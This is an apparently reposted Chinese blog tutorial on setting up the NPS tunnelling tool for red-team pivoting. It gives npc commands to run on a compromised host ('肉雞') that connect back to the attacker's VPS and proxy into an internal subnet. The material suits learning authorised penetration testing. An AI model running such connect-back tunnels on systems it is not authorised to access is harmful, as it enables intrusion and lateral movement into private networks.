內網穿透-使用NPS搭建socks5隧道


攻防演練有看到大哥用這個做代理,今天學習一下

一、安裝

https://github.com/ehang-io/nps/releases  (下載Linux版本的先試試)

 

 上傳至服務器,新建一個nps的文件夾,然后解壓:

mkdir nps
tar -xzvf linux_amd64_server.tar.gz -C ./nps

 

 然后輸入命令啟動,啟動后即可訪問如下登錄管理頁面,默認賬號密碼為:admin/123  (記得快速修改初始密碼)

./nps start

 

在/etc/nps/conf/文件內可以查看到默認的賬號密碼,修改之,然后再重啟一下nps

 

nps restart

 

 

在壓縮包下也是有個一樣的配置文件的,千萬別改錯了!要改的一定是/etc/nps/

 

 

 

 然后登錄就可以看到頁面了:

這樣就安裝好了。

 

二、使用

登錄nps

 

然后點擊新增客戶端,到下面的截圖:(自行設置賬號密碼,這個將會作為你的隧道的密碼進行使用)

 

填寫好就可以新增了!記住下面這個密鑰

 

 這些都有了,那應該直接接下來怎么做了吧,同樣的,在肉雞運行nps的命令,然后就能做代理了,我們試試吧!

 

(1)以下時Windows客戶端的,下載對應的版本然后輸入下述命令:

npc.exe -server=你的vps:8024 -vkey=客戶端的密鑰

 

(2)以下時Linux客戶端的,下載對應的版本然后輸入下述命令:

./npc -server=你的vps:8024 -vkey=客戶端的密鑰

 

到這一步時,你已經成功了一半,因為在肉雞上運行以上命令將會成功建立好隧道:

肉雞運行:

npc.exe -server=192.168.43.234:8024 -vkey=客戶端的密鑰

 

web頁面會出現上線的提示:

 

最后:在上線的主機的隧道處點擊,並添加響應的隧道,就可以建立與其他網段的通信了:

 

 

然后測試一下連接:

 

最后就能成功訪問第二層網絡(192.168.127.x網段)了:

 

以上,簡單的使用nps建立隧道的任務就完成了!其余使用教程請參考:https://ehang-io.github.io/nps/#/use


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM